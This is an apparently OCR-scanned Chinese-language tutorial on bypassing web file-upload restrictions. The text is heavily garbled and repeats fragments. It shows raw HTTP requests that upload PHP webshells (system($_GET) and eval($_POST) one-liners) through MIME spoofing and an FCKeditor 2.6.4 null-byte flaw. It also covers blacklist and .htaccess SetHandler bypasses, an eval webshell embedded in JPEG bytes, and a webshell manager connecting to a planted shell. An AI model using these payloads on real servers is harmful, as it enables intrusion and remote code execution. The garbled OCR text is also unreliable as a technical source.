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extArray = new Array(".gif", *jpg", ".png")
function LimitAttach{form, file)
{

allowSubmit = false;

if (Ifile) returry;

while (file.index0f("W") 1= -1}

file = file slice(file indexOf{" W+ 1)

ext = file: 5I|ce(ﬂe indexCf{".")) toLowerCase();
for (wari = 0; i < extArraylength; i++)

if {extArmay[i] == ext)

allowSubmit = true;
break;
}

1
if (allowSubmit)
form.submit();
else
alert("Bad Extension.”);
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extArray = new Array(".gif", "jpg”, ".png");
function LimitAttach{form, file)

allowSubmit = false;

f (Ifile) return;

while (file.indexOf("\"} 1= -1)

file = file slice(file.in doaOf N+ 1)

ext = fileslice(file. indexOf{".')) toLowerCase():
for (vari=0;i < extArray, |§‘n; th; i++)

if (extArray[i] == ext)

allowSubmit = true;
break;

!
f (allowSubmit)
form.submit();
else
alert("Bad Extension.”);
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extArray = new Array(".gif", "jpg”, ".png");
function LimitAttach{form, file)
{
allowSubmit = false;
if (Ifile) returry;
while (file.indexOf("\"} 1= -1)
file = file slice(file.in dexOf' W)+ 1)
{E);t :frlle =II(<;E(T—IIE LI[AEKOFI ”]Jtthu E?"\?{dse‘) POST /fckeditor264/editor/filemanagery/con nech:lrsfphp,‘cunnedur php?Command=
orari = extAmay.leng FileUpload&Type=Image&.CurrentFolder=evil. php%00.gif HTTP/1.0
p il == Host: localhost am e
i (extAmay(i) == ext Content-Type: multipart/form-data; boundary=-—--casperkid B JRSZIRMIMEZERA Y
! allowSubmit = true, Cantent-Length: 143
break: : Connection: close C ﬂﬁ%ﬁﬁﬁﬂﬁﬁ?ﬁ}ﬂﬂ
) --—-casperkid
” " . Content-Disposition: form-data; name="NewFile"; filename="test.gif" i
(allowsubmity oo T ofipet D BRssimriH ma e
form.submit();
else
alert("Bad Extension.”); f;F;fp eval(8_POSTIaN 2> E BRSSiR SR E I
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funotion checkOneFilelpload(field, extensions, requirellpload, sizelimit, min¥idth, mirHeight, naxWidth, maxHeight, saveVidth, saveHasight) [
var fileNane = field. value. replace (/"/gi,” }:
field uploadok = false;
if (fileName
if (requirelpload) [
alert {'File is required!’);
field focus():
return;
} else {
field. uploaddX = trus

1
P oelse [
if (extensions = *7) |
checkFileExtension (field, fileName, extensions) =
1 else {
field uploaddk = true;
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if (! document. layers &4 field.uploadOk) {
document . PU_uploadForn = field. form:
re = new Reghxp ("\. (gif | jpe|png [bmp|ipeg) s,
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Tt
checkInageDimensions(field, sizelinit, ninWidth, ninHeight, naxWidth, maxHeight, savelidth, saveHeight) :

}
return;
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function checkFileExtension(field, filelame, extensions) {
var re = new RegBrp(“\\. (" + extensions. replace (/, /gd, " |"). replace (M\s/gi, ") + “)$7,71")
var agt = navigator.userhgent.tolowerCase():
var is_mac = (agt.index0f ("mac”)
var is_op = lagt.indexOf {"opera®}
if (is_op) {
var ext = fileame. substring (filelanc. lastIndex0f (") +1, filellane. length) ;
war extArr = extensions, split(’
war extCheck = false
for (var i=0; i < exthrr. length i)
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extArray = new Array(".gif", *jpg", ".png")
function LimitAttach{form, file)
{

allowSubmit = false;

if (Ifile) returry;

while (file indexOf("\W") 1= -1
file = file slice(file indexOf{" W+
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2 FFHH MIME 288 FA&R 24 IRTA
ik £ http://www.heibai.net/articles/hacker/ruginshili/2011/0325/13735.html

TR AR B R — SRR P A

TR an ik 5548 3t B 1 upload.php AL 4R

<?php

if($_FILES['userfile'|['type'] != "image/gif") { //f&l|Content-type
echo "Sorry, we only allow uploading GIF images";

exit;

}

$uploaddir = 'uploads/’;
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp name'], Suploadfile)) {

echo "File is valid, and was successfully uploaded.\n";

}else {

echo "File uploading failed.\n";

}

>

B [RSZIBMIMESERAG T
C RSSin B REEEEN

D BRI Ea il
E BRSSP HE


http://www.heibai.net/articles/hacker/ruqinshili/2011/0325/13735.html

SR IGERATTAT LUK request BLHY Content—Type &4

POST /upload.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155

-xYzZY

Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (Jii & Content-Type: text/plain)
<?php system($ GET['command']);?>

-xYzZY--

75 3l 55 S PR 2 2

HTTP/1.1 200 OK

Date: Thu, 31 May 2011 14:02:11 GMT
Server: Apache

Content-Length: 59

Connection: close

Content-Type: text/html

<pre>File is valid, and was successfully uploaded.</pre>

AT LUE BIFRAT I Ge it 1 AR5 i MIME S8 284G
X AR S5 3k http £LHY) Content—Type #F AT LA X AL J7 3 Sk S A6 )

burp suite v1.3.03 =

burp intruder repeater window help
[ target | spider | scanner [ intruder | repeater | sequencer | decoder | comparer | options | alerts

B

go cancel host ‘192‘\53195‘\30

request 2. Clickgo

raw f params f headers | hex

Content-Length: 440 |

12746520267
Content-Disposition: form-data; name="NAX FILE SIZE"

100000

12746520267

Content-Disposition: form-data; name="uploaded"; filename="l.php"
Content-Type: application/x-httpd-php

1.
“renn Change Content-Type to image/jpeg
echo phpinto() ;
2>

12746520267
Content-Dispesition: form-data; nawe="Uplead"

Upload =

[N | 0matcnes
response

(Taw | Tex

[ [ [ ] 0matches

B-Ts TS elaTaTaeTe 617



0x03 FRSFRRIGNIST (HRIBEIN)

extArray = new Array(” pg”. ".png";
function LimitAttach{form, file)
{
allowSubmit = false;
if (Ifile) returry;
while (file.indexOf("\\"} 1= -1)
file = file slice(fle. indexOf{\\') + 1)
fen::: 'varl? Sllé(:‘_ < el:‘t(’;(';‘:(()f:fe-”]}tt’?\E?\"\';.‘fCaSEU; POST /fckeditor264/editor/filemanager/connectors/php/connector.php?Command =
{ warg=%i= aylengthi FileUpload&Type=Image&.CurrentFolder=evil.p if HTTP/LO
. L Host: localhost Sy ST
if fextarrayli] == ext] Content-Type: multipart/farm-data; boundary=-----casperkid B IR IHMIMEZSEAGT
allowSubmit = true Content-Length: 133
break; ' Connection: close C BRSSim B RESEEIEN
) ! -—-casperkid
I . Content-Disposition: form-data; name="NewfFile"; filename="test.gif* s vt
i (@lowSsbrmiy Contont-Type: imaga/ipeq D REHIH EBEIE
form.submi
else .
. - GIF8Y s -
alert(*Bad Extension.”); <"D"rfevaf'(5 POSTIal) 7> E RSB im s A SN
P 1 = casperkid--

A EPigjavascripti@ill

AAPCER WebfR5585

http POSTiFR( &34

Wt

H SR ERARRTI, — MRl B8 A2 15 632, (HRS R R — R R A B A
Eb A ELBEH Y fekeditor php <= 2.6.4 AT & 3C4E EALR IR

Huhik: http://www.wooyun.org/bugs/wooyun-2010-01684

ORI

-1&1x=|
1
THFE) WEE FFEW YW TAD o
QFE - - 7| P xex |E-
POST fokeditor264/0ditor Filonanager connectors /php connector. php?Gonnand=Fi LU [ Kea A TR e PPy
bloadkd ype -Inage&CurrentFolder=fuck. php#80.gif HITEA.0 & - EYNE= =
: localhos IPHRCAERAES & 8 fuck php 1 KB PHF ICPF 2011-8-25 11:12
2:;;;:&1”:. nultipart/ferm-data; houndary W) EaE
Content—Length: 225 Gy BRI
Connection: close Rl g B fuck php — 23 =1}
A - FirE) REE SRe FFE #o
65001916915724 @ Ei%ﬁii EIFE%a 1
¢ forn—data; name="NewFile"; filename="Fuck.gif" S <7php ewal($ POST[al) 7> g
inage/ jpey W BRI
HENE
oK [ userfiles
Date: Thu. 25 Aug 2811 ©3:12:51 GHT 0w
Server: Apache/2.2.11 (Win32> PHP/5.2.8 ) e
X-Powered-By: PHP/5.2.8 - i
Content-Length: 348 o) ALsE
Connection: close
Content—Type: text html
HERER
<script type="text/javascript">
<Function<>(var d=document.domainiwhile <trued{tryCvar A=window.parent.document
domainshreaksYeatchte> O eplace</.*?C7:\, 1§37, ' 23if <d.length=-8> breal
»y<docunent i catch Ced>Chreak ¢>;uindow.parent .OnliploadCompleted
userfiles/inage/fuck.php .gif Fuck.gif", "Fuck.gif", "> ;< pt>
[-1 Job donet try http://localhost//userfiles/image fuck.php .gif/Fuck gif", "fuc
k.gif", *
C: \wanp bin \php\phpS .2 8> a1 =l
while (tfeof($sock)) $resp .= Fread($socl 4 B Z]

L o

ik ) I C: Swanpl )0 \wamplw () C: \wanp\b. ) localhost. £ RimstlE @) Firefox - B S RTH B SRR 0 2.6.4.php. o fuck php BE@oPB@ 1
e § @29

IR 7K

DR H R AR ARG AN P T S E0RT LA 0x00 Tt AT Bty

=]
=



http://www.wooyun.org/bugs/wooyun-2010-01684

i DUE BB, 7R E AT 5 U 2 1T AR IR

sFilePath = C:/wamp/www/userfiles/image/fuck.php .gif/fvck.gif (.php J& H & 0x00)

24 B AT move uploaded file( SoFile['tmp name'], $sFilePath) iX 4™ p& # it

1. ¥4 sFilePath 5 AR EM B, H2RERIENZRZ AT ¢ 1B, &3 0x00 2
H A, AR IES AN SEPRbE R C:/wamp/www/userfiles/image/fuck.php

2. fEEA fvck.gif BTN E(H BT NAZAF IR SO, 28T C/Temp/phpf3at7b IXFE ) SCAH)
SRJGHE C:/Temp/phpf3at7b H] A %5 A F| C:/wamp/www/userfiles/image/fuck.php B
EFHAEIRTS 1 RATHT AR L[] webshell

=181 x|
(ol x|
S
Content—Tupe: multipart/form-data; houndary B el
915724 ¥ Al
Content-Length: 225
Connection: close #7 Check if it is an allowed extension.
if ( *$sErrorMumber && IsAllowedExt{ $sExtension, $resourceType ) )
265001916915724 <
"NewFile"; filename="fuck.gif" $iCounter = 0 ;
while ( true )
<?php eval¢$_POSTLal> 7> $sFilePath = $sServerDir . $sFileName
265061916915724—— print “sFilePath = $sFilePath\n";
HITP/1.1 280 OK if ( is_file{ §sFilePath ) )
Date: Thu, 25 Aug 2011 B3:25:53 GMT <
Server: Apache2.2.11 (Win32> PHP/5.2.8 $itounter++

i -Povered-By: PHP/5.2.8 $sFileName = RemoveExtension( $sOriginalFileMame ) . "(° . $i
Content-Length: $sErrorbunber = ‘261"

Connection: close ¥

Content—Type: text/html else

move_uploaded_file( $oFile["tmp_name'], $sFilePath ) ;
print “Got ittin\n\n";

sFilePath = Ci/uanp/www userfiles/image/fuck.php -gif/fuck.gif if ( is_file{ $sFilePath ) )
it <

if ( isset( $Config[ ' ChmodOnUpload'] ) && *$Config['C

{
<script type="text/javascript'> break
<Function<>(var d=document.domainiuhile <trued{trylvar A=window.parent.document. }
donain;break;>catchCe> (;d=d.replace(/. $ if Cd.length=-8> breakst .
v y{docunent .domain=d;>catch <edChre i nt.OnUploadCompleted(a, " $pernissions = 0777;
suserfiles/image/fuck.php .gif fuck -gif" sscript> ) . i
[-1 Job done?® try http:/slocalhost//userfiles/image/fuck.php .gif Fuck.gif", "fuc| if ( isset({ $Config[’'ChmodOnUpload’] ) && $Config['Ch
k.gif", * <

NEK

|

C: \wanp bin \php\phpS .2 8>

while (tfeof($sock)) $resp .= Fread($sock, 1024);

B

Kl
w7 | 8@ @ | Do ey | D0 et | D wate | E)Tocatbost | EVEImHE | @ Firetor - | BN OSHTH |[@asir® | B264e | B comanis | BE@a@ %@ s

W] @ 7E T io.php BLH ServerMapFolder B& %L

J]function ServerMapFolder ( SresourceType, S$folderPath, S5sCommand )

71 // Get the resource type directory.

72 S$sResourceTypePath = GetResourceTypeDirectory( SresourceType, SsCommand ) ;
74 // Ensure that the directory exists.

75 $sErrorMsg = CreateServerFolder( SsResourceTypePath ) ;

if ( $sErrorMsg !=

SendError( 1, "

creating folder \"{$sResourceTypePath} ({$sErrorMsg})" ) ;

// Return the resource type directory combined with the required path.
80 return CombinePaths( $sResourceTypePath , $folderPath ) -

1 POST "N HIff) URL I fi
/fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload& Type=Image&
CurrentFolder=fuck.php%00.gif HTTP/1.0

CurrentFolder iX ™45 & [{H 214 3 ServerMapFolder($resourceType, $folderPath, $sCommand)
FHIIE S $folder B, 1M $folder FEIX AN bR HHh FF AR MTAS I, WA CombinePaths() 7
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extArray = new Array(".gif", *jpg", ".png")
function LimitAttach{form, file)
{

allowSubmit = false;

if (Ifile) returry;

while (file.index0f("W") 1= -1}

file = file slice(file indexOf{" W+ 1)

ext = fllesllce(ﬂelndexof{ ])toLUwerCasEO
for (vari = 0; i < extArray.length; i++)

POST /fckeditor264/editor/filemanager/con nectulsfphp/connectur php?Command=
FileUpload&Type=Image&.CurrentFolder=evil. php%00.gif HTTP/1.0

Host: localhost Al >
If (extArray(i] == ext) Content-Type: multipart/form-cata; boundary=-----casperkid B IR IHMIMEZSEAGT
! allowSubmit = true; Content-Length: 133
break: Connection: close C ﬂﬁ%ﬁﬁ’ﬁﬁiﬂﬁﬁﬁ)ﬂu
) ' —-casperkid
rf(alluleub'r;it) N Eg::g:: E;;zm:;gr;;ggzgdata name="NewFile"; filename="test.gif" D ﬁE%ﬁﬁ'ﬁﬁﬁﬂrﬁg4ﬁm
rm.submiti);
else .
alert(*Bad Extension.”); f.l,';gl?p eval(s POST[al] . E BRsSim s s am

----- casperk

A EPimjavascriptiailll

http POSTiER(AE32)

(g

WebBRSS R

XY R AR MANGR, B EIE A LSS H R8T
b én filename="test.asp/evil jpg" <3

- BRI
RARRZEMEHAY RN ZEERIRE, W FRARBIEAA BT

— BN L 1T blacklist SO, HLTHI 20 55 LR FE RS BEIAS ST A
B fckeditor 2.4.3 B H ARAS ) B 44 L

34 ConfigDeniedExtensions.Add "File"
"html | htm|php | php2 | php3 |php4d |phpS |[phtml |pwml | inc|asp|aspx|ascx|jsp|lcfm
cfc|pl |bat|exe|com|dll|vbs|j=|reg|cgl|htacces=s|a=zi=z|sh|shtml | shtm|phtm"

1. XA RINESE
14 AsP, pHp Z FEH A 44 Seid B 44 sl
2. Zpy|RGad
FHA 42 B LS A ) 4 B AT By, LR PR A2 B BT asa B cer 2 2K
3. %%Iﬁ%%‘x
b G A 3% /) http A3 BLE SO 44 2K test.asp. BY test.asp (R RIZRNZHE), X PPy 4 7 2
7t windows R4t B2 AHE ARV, BTDATREAE burp 2 KRBT BN, RESRIRIEE, &
¥ windows 4t H 2l 25 5 J5 T 1) R 254, {HEVE R Unix/Linux R0 XM
4. 0x00 A K58t
TE AKX —e H AT R A B 2T asp R A X PR, 45450080
name = getname(http request) //{f WX IS5 HR IS 1) ST 44 72 test.asp jpg(asp J& 1Y 0x00)
type = gettype(name) /1M {E gettype() bR H A T7 A2 WS E RIS R4, LA jpg
if (type == jpg)
SaveFileToPath(UploadPath.name, name) //{H7E1X L A& DL 0x00 {1 A SC A4 44 3 Wt
//#5¢ )5 UA test.asp 12 N 1% B



5. .htaccess SCHF M
fii & 4 A Reed, bAE—AHE XI¥ . htaccess, Ht AT LUFFAGe It & Al
6. fEbT IR H AR Se it
XU B R A A — MR NI B3 AL B SO R R AT, R0 AT o /e i

- BA RN
F 44 SRR SR b R A e e — i, (HAAN A4 24 1

1. 0x00 #;Br&e it
14 test.asp%00.jpg (177 b AT 4T, J& T 944 50, PRI A R S5 o AR 0 s ) 322 4
RIREAT B, BRrR R &R asp MR 7 A X PRI

2. fEMTUR AR S
XU EEERL A A — MR NI 0 B 2 BRSO RIRT, R R A A R AR TR

- .htaccess T

TR BLRILE AL R

P B SO B htaccess A

GLHATR R Wit 4& Ba Gk, ERmMIEGE SRR, RS e a3 B A pet I
i B o (R E AR AN R S R, AT RN NG — LSRN T (1) 7 R I, B DAE
1% R A T B R B X A BBk 43 )

7t PHP manual F22] 7 i —Bih
move uploaded _file section, there is a warning which states
“If the destination file already exists, it will be overwritten.’
2R PHP % 4R L B 4T
AT LU move uploaded file PRI H O 5 1. htaccess SO a5 45 il 5548 11
XFERREAE R U A4 B T

HRAAS NSRSt N HOR

i3 —>.htaccess SCIFI ] php FISEHT &5 ARAT— > S01F A% h R 2L "haha "X AN 747 55 1
BRSBTS a2t Ak, HEA S "haha"IXAN 747, AT LA L php (75
HORMENT, SRAEAH R, —A> B 5E L. htaccess SCAF i AT A LA &4 1 77 X Sl 1R
% EAEISUEHLH

#— htaccess X, HHEFINAEWT
<FilesMatch "haha">

SetHandler application/x-httpd-php
</FilesMatch>



[A] F AT AN BAT A — A RAT SO 2 935 745 8 "haha", (A RITEARMTY & 44 10 SCHF
FLTH ) A A& php —F)TEAR L

A localhost f 1ue}(mst / prestashop | phplyAdsin 3.1.1 - Nicrosoft Internet Explorer =18 x|
IHE GEQ SEW kEe TAD ¥FHo | &
QFE-O - ¥ & &Pz Swwk &|0- 5B
itk @ [E ey //localhas\/p}zwlytdmm/ _ == B EE \ss%
phpiiyAdmin HBEFR e mee sEw e TAD BB | &
# OQAE -0 - 7| Pex ook @
[ Databae M@ [ cvnampimentaser £idest B>
e £ ~ ENE=] | e EIER | B
mmsmpiﬂt&lﬁ B CREME IR SHATARES A (Dfile THE 2011-5-10 20:41
B htaccess 1 KB HTACCESS i 2011-8-14 21:29 E

9 BRI - iy ion o |58 182 PHP 45D |

D @) T @ pmiwsmamm
SEEEA SR

RS B 2=

HEEE 2

o v

) B it

PR

) AR

s 5

L] |

[&] htpe//Losalh he? [0 [T [ N2%H mtranet
25| | & @ @ |[Drvmewiuzers.. J Feem | CaeWocuments and | (@) Shop contigaratio. | E)locathost / Tocal | B hraceass - EE | (1 p@HAwovcezs | | &[@2) B@ 1519

SRJE FA T LS T 25 I
B G R B WA —FE )
FErp ) B AT E

) Bz > =M x
EEAA 2011-08-21 GAHZ
Bty fuwww, naicai dao. con/ server. phy chopper  7700|175.201. 144,35 COWISQLS. an1-0r-15 o2, B (5] MAREL
BrihzeRl
Typel
Bz
Rttp:/fwen. naicai dao. con/ server. asp chopper  127.0.0.1 THOYT 2011-07-02 17 P

http:/fuww maicaidao com/server. asp chopper  127.0.0.1 THADOYT. 2011-07-02 17

hitp://192, 168, 1. 108/ user files/thahat help 0.0.0.0 2011-08-21 16:..
[C] $R$FSHELL. x ‘

Hidk = [hatp: 77192, 168, 1. 108/ uasr£iles/ thabat
BCE:

[ e ] [oreaiz = @

0. BAAZER) ia)

| 30 Documents and . . | (@) Shop sontiguratio. . | &) localbost / Toval... | ) htaceess - @ |[[ PEmTeniee: | &[[I@2y) 2O w20

| | B (3 @ | 0 e wertusere | J Femm




R JE L &
MER ERTEVE W, SR INBA T —FE o)

(] 192 168, 1. 108 T Bi2iRAE

> =0 x
C:iwanpwiw'iuser filest

v ER 2818 2011-08-21 BAHZ
192 183.1.108 B2, T e) ; widl " Rt

ENSE T
LAZER
2001-08-10 12:41:50 i BRuzeS)
Typel
cccccc 2011-08-14 13:29:45 aees Az
2011-08-10 13:18:48 OBEE A

201004110 Ill

| | B (3 @ | 0 e wertusere | J Femm

| o \ocuments and .. | @) Shop eonfiguratio... | £)1ocathost / Tocal. . | i htaccess - %% || ERITez0110028

| &0@29 2@ v

BT LA—AN0T BLE hacker 4% Y htaccess A2 JE 5 AR % )~
FEAR A LR R0 T ) AR IGAEAS I ©) (N BRI R AR
MEEBRIAEE R, A NEAS R, — R A B A RS

Eetn M4 AR 2 L, ANE5ERE, IR T htaccess 3 R4
Mamfable, HARTE LSRR RALRE, & BA LR MM DR % — T~



Ox05 FRSFumtaNEd (SR ZHIN)

extArray = new Array(".gif", "jpg", ".png");
function LimitAttach{form, file)
{

allowSubmit = false;

if (Ifile) returry;

while (file.indexOf("\W") 1= -1}

file = file slice(file.indexOf{™\\") + 1);

ext = fileslice(file indexOf(".")) toLowerCase();
for (wari = (; i < extArray.length; i++)

POST /fckeditor264/editor/filemanager/connectors/php/connector.php?Command =
FileUpload&Type=Image&.CurrentFolder=evil. php%00.gif HTTP/1.0

) L Host: localhost A e .
If (extArray(i] == ext) Cantent-Type: multipart/form-data; boundary=-----casperkid B HE%WMIMEKE‘%@M
allowSubmit = true; Content-Length: 133
break: Connection: close C ﬂﬁ%ﬁﬁ’ﬁﬁiﬂﬁ@ﬁ)ﬂﬂ
. ! - —-casperkid
: Content-Disposition: form-data; name="NewFile"; filename="testgif"
if (allowSubmit) n Cg:;gp_[;;pﬁe;[;zggﬁg:g ata; name="MewFile”; filename="test.gi D RE RS BEis
form.submit();
else SIF8! Ererpe . B
alert("Bad Extension.”); fl,l;;‘gl’ evalts POSTIaD) 7> E BRSBim s A EEm
P 1 |-~ casperkid--

A EPimjavascriptiailll

http POSTiER(AE32)

(g

WebHRS5 87

BRSO N AR N B EAF LLBU™ M, A AR R AR A5 AR TR 3
AT LA E RS Z A i e —IE R

IR EBRB T, B AU R AR IR

gy TR S B A AT R T e ok T L

FATIX B 32 B UL L) PR ST P 2 Al SR 2451
- LI EAs
T BRI AT B UR AR ST I8, P& BRSO 280

FoRit jpg SCAFKIBUS A EAE SO I35 BT B
Of fset 01 2 3 45 6 7 8 9 A B CDEF
00000000 FF D& FF EO 00 10 4A 46 49 46 00 01 01 00 00 01 y@ya JFIF

Value = FF D8 FF E0 00 10 4A 46 49 46

Fogit gif LB I AL SIS R A
Offset 01 2 3 4 5 6 7 8 9 A B CDEF
00000000 47 49 46 38 39 61 0A 00 OA 00 DS 00 00 00 00 00 GIFS9

Value =47 49 46 38 39 61

LR png SO XS It EEA4E S IFSL S B R T A {E
Offset o 1 2 3 4 5 6 7 88 9 A& B CDETF
00000000 (89 50 4E 47 0D 0A 1A OA 00 OO OO0 OD 49 48 44 52 IPNG

Value = 89 50 4E 47

SRJEAE A LB N B B S — AR S A BT T



- SCHFARAE B

PGSR A5 BRI T 32 getimagesize() PRI %L
R EAEAF R D& 4t ok 1 WURAEZIEUR AR LB T — L8305 2
EEl=N T )

GIF89a

(...some binary data for image...)
<?php phpinfo(); 7>

(... skipping the rest of binary data ...)

- SO

AR BRI 7, — o2 R APL B8R £ 2 AT ST I #0l it
DL R S, PR RS SO R AT B (5 242 2)
S7AN

TE AN B B 5 2R AU E AN S
TE G R B 5 2 Bl SO AR B B

=2

Feid NAHE R NI EGE - ARG

A UL AR AR B B 0 — 5K B AT AT

AY winhex & #dl 7T LA #r HIX 2R TR (1 SR B 2

FEAPIR A S A GG DL R — D2 A XTI AR, — R 2B A EREKX
MR R IE A EARRESEIL, R AR By BSOS R 7 e 2 Y

P WinHexr — [3540840-masked-thicfclimbing-wall. jpgl s35r-7 (2B
B File Edit Sewch Position Yiew Iools Specialist Options Mindow Help NI
DEESE @R Al K - B & SHeEO 4P @
exp. txt | 9540 0-masked-thief-clinbingwall. ipg |
R Offset 01 2 3 45 67 B8 9 A B CDETF E]
3640940-masked-hiefclir 00000000  FF DS FF E0 00 10 4& 46 45 46 00 01 01 00 00 O1 y@ya JFIF
CiDocuments and Seings | 0ODD0010 | 00 01 00 00 FF DE 00 43 00 D& 04 05 06 05 04 06 s
Ee Jupkg 00000020 06 05 06 07 07 06 08 A 10 DA OA& 09 09 DA 14 OE
20431 bytes| 00000030 | OF OC 10 17 14 18 18 17 14 16 16 1A 1D 25 IF 1A %
005 name: 3540341 g 00000040 1B 23 1C 16 16 20 2C 20 23 26 27 29 24 29 19 IF  #  , #&')*)
00000050 | 2D 30 2D 26 30 25 28 29 28 FF DB 00 43 01 07 07 -0-(0%() (¥ C
Default Edit Mode 0000000 07 OA 08 OA 13 OA OA 13 28 1A 16 1 28 28 28 28 [t
S onginall  gppgooyo |28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ((((((((C((LC(((
Undo [evel: 0 00ononsO0 28 28 28 28 28 28 28 26 28 28 28 28 28 28 28 28 ((((CEO(C((CE(((
WD (CR 0 "3 DooNn00S0 28 28 28 28 26 28 26 28 26 28 28 28 28 28 FF FE  ({(((({((((({(¥b
Creationtime: 13082011 | O0DDOOAD |00 22 3C 3F 70 B8 70 20 40 BS 76 b1 6C 28 24 S5F  "{(7php @eval (S_
11:31:28| 0OODDOBO |50 4F 53 54 SB 27 68 65 6C 70 27 5D 29 3B 3F 3E POST['halp']):?>
Lastwrite ime: 21/02/2011 | 000000C0 0D 0A FF C2 00 11 08 01 90 01 OB 03 01 22 00 02 %A 1 [ |
17:3218| goopooODo | 11 01 03 11 01 FF €4 00 1C 00 00 02 03 01 01 01 Vi
Atributes A 0DODOOOED 01 00 00 00 00 OO 00 OO 00 0O 01 02 00 03 04 05
Icons 0 0ODDOOFO 06 07 08 FF C4 00 13 01 01 01 01 01 01 01 00 00 Vi
e e/ 00000100 00 00 00 00 00 00 00 00 00 01 02 03 04 05 FF DA Il
Charactersst ANSIASCI| 00000110 |00 0C 03 01 00 02 10 03 10 00 00 D1 FA 48 65 BO iiHe*
onsets hexadecimal | 000DO120 49 03 04 19 91 83 23 01 E3 05 81 96 49 08 8E 88 I  “1# & 111 11
Bytes perpage: 20x16=464 | gopgp130  BA 2 B1 57 OB 3C 95 49 09 24 24 90 92 42 49 0C 1AIW <11 SS1°BI
Winido 3 2| 00000140 CB 62 58 BL AOD BL CO A4 90 BC 62 13 E7 65 F4 47 EbX: :A%llb cesd
08, G sl 2| DODDO1SD  C1 FA 73 AB 24 27 BZ AS  6A E9 54 3E 77 D4 ES C5 AlscS"2¥jeTrwieh
o avalable| 00000160 | 6C GA 48 03 16 0D 14 B6 48 49 21 42 BO BO 18 41 1jH  IHIIB®® A

TEMP folger 327 0Bmes| 00000170 |20 B2 CB 20 1C 19 79 FF 04 F7 OF 3A 05 B4 43 D9 0E gl <1: o0
\DMINI-1\LOGALS~1iTemp | 00000180 FD 67 F3 BF AQ 3E EE 15 84 46 4B 33 CD 09 63 DD jgoc >i IFR3L of
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